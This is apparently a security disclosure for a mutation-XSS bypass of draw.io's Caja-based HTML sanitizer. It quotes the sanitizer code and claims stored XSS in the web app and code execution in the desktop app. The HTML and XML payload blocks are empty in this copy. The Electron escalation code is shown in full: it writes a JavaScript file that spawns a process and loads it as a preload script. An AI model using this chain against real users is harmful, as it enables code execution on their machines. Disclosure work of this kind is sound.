# Description The sanitizer function of the drawio core library which is responsible to sanitize various parts of a diagram of potentially dangerous HTML/JavaScript code can be bypassed. It is vulnerable to mutation XSS payloads, which allows escaping from the sanitizer. This allows arbitrary code execution in the desktop app and stored XSS in the web app. The sanitizer is based on the Caja sanitizer, which was discontinued some time ago and will not receive updates any more. ```js Graph.sanitizeHtml = function(value, editing) { // Uses https://code.google.com/p/google-caja/wiki/JsHtmlSanitizer // NOTE: Original minimized sanitizer was modified to support // data URIs for images, mailto and special data:-links. // LATER: Add MathML to whitelisted tags function urlX(link) { if (link != null && link.toString().toLowerCase().substring(0, 11) !== 'javascript:') { return link; } return null; }; function idX(id) { return id }; return html_sanitize(value, urlX, idX); }; ``` For example the following payload will not get sanitized correctly and allows injecting JavaScript code: ```html

``` Basically anthing after the `` will not get sanitized and can be injected. Since this sanitizer function is used in many different places, the vulnerability could be abused through several injection points in diagram files. # Proof of Concept The following file will execute `alert()` when opened in draw.io. The payload is located in the `label` attribute of the `UserObject` element. To reproduce save it as a `.drawio` file, then open it. ```xml ``` This can be further escalated to get arbitrary code execution when opened with the desktop app. By executing the payload below we can abuse the functionality exposed in the renderer process and get access to Node.js functions. It can be achieved by writing a JavaScript file to the resource directory of the app and later using it as preload script when opening a new Electron `BrowserWindow` with modified settings. In this example `calc.exe` (Windows calculator) is spawned. ```js electron.request({action: 'writeFile', path: decodeURIComponent(location.pathname.substring(1).replace('app.asar/index.html','payload.js')), data: 'require(\'child_process\').spawnSync(\'calc.exe\');', enc: 'utf8'}); electron.sendMessage('newfile', {width: 100, height: 100, webPreferences: {preload: decodeURIComponent(location.pathname.substring(1).replace('app.asar/index.html','payload.js')), nodeIntegration: true, contextIsolation: true}}); ``` Full PoC: Save the following content as a `.drawio`-file, then open it in the desktop app: ```xml ```